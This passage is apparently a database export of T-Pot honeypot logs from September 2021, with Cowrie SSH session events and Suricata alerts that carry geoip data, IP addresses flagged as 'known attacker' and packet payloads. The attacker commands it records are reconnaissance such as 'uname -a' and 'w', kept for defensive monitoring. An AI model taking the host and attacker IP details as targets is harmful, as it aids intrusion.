"hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33898, "timestamp": "2021-09-20T12:10:06.628344", "@timestamp": "2021-09-20T12:10:06.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35703	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:10:06.627211+03	2021-09-20 15:15:03.61169+03	{"_id": "IQYdA3wBvYTbRNuEC17W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:33898 (192.168.176.2:22) [session: 295dcc903b2a]", "session": "295dcc903b2a", "@version": "1", "protocol": "ssh", "src_port": 33898, "dest_port": 22, "timestamp": "2021-09-20T12:10:06.627211Z", "@timestamp": "2021-09-20T12:10:06.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	US
35704	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.624337+03	2021-09-20 15:15:03.61269+03	{"_id": "IAYdA3wBvYTbRNuEC17W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:06.624337Z", "@timestamp": "2021-09-20T12:10:06.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35705	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.19561+03	2021-09-20 15:15:03.61469+03	{"_id": "CwYdA3wBvYTbRNuEB17u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:06.195610Z", "@timestamp": "2021-09-20T12:10:06.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35706	157.240.9.19	109.199.241.180	Suricata	2021-09-20 15:10:06.002202+03	2021-09-20 15:15:03.615691+03	{"_id": "FgYdA3wBvYTbRNuECV4O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:06.002202+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.19", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.19", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 1858479494924442, "payload": "3oADvJNIgzFxEhtkDP/4sZyIioSYD1/mkF8dadxIRBvZ6UtFiXaqRZ33Bix5VYvE+LqN7H27NKfWQ6Sw5owrXRDD2Sa8vq/+OzequoeO4j1Us5N8e8YMWIFOH9ziOlg4SXg6bJtkdJa2i6dFVFxc0+7MK87KibUkVAEvp3HV6kxz36nxJKulV0fpD+7ENW9q7EZoG91Lt68nDq/DtZKIfNrkN0iDVuiFyi11PSQqCUoanbiC0BpAxEmeSwRthqpj15K2wua1SSLLLUhcQfpSwf7wn2Wy7s/uLwWXQKh4WHIhX+1XwOEDN2A0Zh9q7Ze7zopFQVdhXqbdV0tQtWI=", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39598, "timestamp": "2021-09-20T12:10:06.002202Z", "@timestamp": "2021-09-20T12:10:06.002Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....H.1q..d.........._.._.i.HD...KE.v.E...,yU......}.4..C....+]...&....;7.....=T..|{..X.N...:X8Ix:l.dt....ET\\\\\\\\...+....$T./.q..Ls...$..WG....5oj.Fh..K..'......|..7H.V...-u=$*.J......@.I.K.m..c......I\\".-H\\\\A.R....e..../..@.xXr!_.W...7`4f.j.....EAWa^..WKP.b"}}	1	\N	\N	alert	\N	US
35707	157.245.53.4	109.199.241.180	Suricata	2021-09-20 15:10:06.816316+03	2021-09-20 15:15:03.61769+03	{"_id": "FwYdA3wBvYTbRNuECV4O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:10:06.447979+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 173480072893931, "payload": "AAADVAUUVWaLEXv9TZB04YiwkuSrIwAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAd1a9pAw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33898, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:10:06.816316Z", "@timestamp": "2021-09-20T12:10:06.816Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..Uf..{.M.t......#....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none................i."}}	1	\N	\N	alert	\N	US
35708	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.396472+03	2021-09-20 15:15:03.61869+03	{"_id": "CAYdA3wBvYTbRNuEB17t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:06.396472Z", "@timestamp": "2021-09-20T12:10:06.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35709	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.196158+03	2021-09-20 15:15:03.61969+03	{"_id": "DAYdA3wBvYTbRNuEB17u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:06.196158Z", "@timestamp": "2021-09-20T12:10:06.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35710	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.272357+03	2021-09-20 15:15:03.621691+03	{"_id": "DQYdA3wBvYTbRNuEB17u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "163.172.167.225", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07683873176574707, "duplicate": true, "timestamp": "2021-09-20T12:10:06.272357Z", "@timestamp": "2021-09-20T12:10:06.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35711	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.044086+03	2021-09-20 15:15:03.622689+03	{"_id": "EgYdA3wBvYTbRNuEB17v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "163.172.167.225", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07886672019958496, "duplicate": true, "timestamp": "2021-09-20T12:10:06.044086Z", "@timestamp": "2021-09-20T12:10:06.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35712	157.240.9.19	109.199.241.180	Suricata	2021-09-20 15:10:06.860403+03	2021-09-20 15:15:03.62369+03	{"_id": "FAYdA3wBvYTbRNuECV4O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:06.860403+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 108}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.19", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.19", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 694783875883251, "payload": "bDz6iFJ2hL9z13LwJVSr84Qjj+PG4txpGpHbb+cmSRXsSE9CzJ8uApBJ", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39596, "timestamp": "2021-09-20T12:10:06.860403Z", "@timestamp": "2021-09-20T12:10:06.860Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "l<..Rv..s.r.%T...#.....i...o.&I..HOB.....I"}}	1	\N	\N	alert	\N	US
35713	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:00.775263+03	2021-09-20 15:15:03.625689+03	{"_id": "yAYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "40f11dd838ea", "@version": "1", "duration": 1.3624186515808105, "timestamp": "2021-09-20T12:10:00.775263Z", "@timestamp": "2021-09-20T12:10:00.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
35714	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:00.890665+03	2021-09-20 15:15:03.626691+03	{"_id": "ygYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:00.890665Z", "@timestamp": "2021-09-20T12:10:00.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35715	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.930858+03	2021-09-20 15:15:03.62769+03	{"_id": "0gYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.930858Z", "@timestamp": "2021-09-20T12:10:01.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35717	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.485434+03	2021-09-20 15:15:03.62969+03	{"_id": "2QYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "163.172.167.225", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.0788111686706543, "duplicate": true, "timestamp": "2021-09-20T12:10:02.485434Z", "@timestamp": "2021-09-20T12:10:02.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35718	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.982104+03	2021-09-20 15:15:03.631689+03	{"_id": "4QYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "163.172.167.225", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07848596572875977, "duplicate": true, "timestamp": "2021-09-20T12:10:02.982104Z", "@timestamp": "2021-09-20T12:10:02.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35719	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.640817+03	2021-09-20 15:15:03.632693+03	{"_id": "4wYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.640817Z", "@timestamp": "2021-09-20T12:10:02.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35720	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.578897+03	2021-09-20 15:15:03.633693+03	{"_id": "5gYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.578897Z", "@timestamp": "2021-09-20T12:10:03.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35721	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.43024+03	2021-09-20 15:15:03.635703+03	{"_id": "6AYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "163.172.167.225", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07663679122924805, "duplicate": true, "timestamp": "2021-09-20T12:10:03.430240Z", "@timestamp": "2021-09-20T12:10:03.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35722	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.579436+03	2021-09-20 15:15:03.63669+03	{"_id": "6QYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.579436Z", "@timestamp": "2021-09-20T12:10:03.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
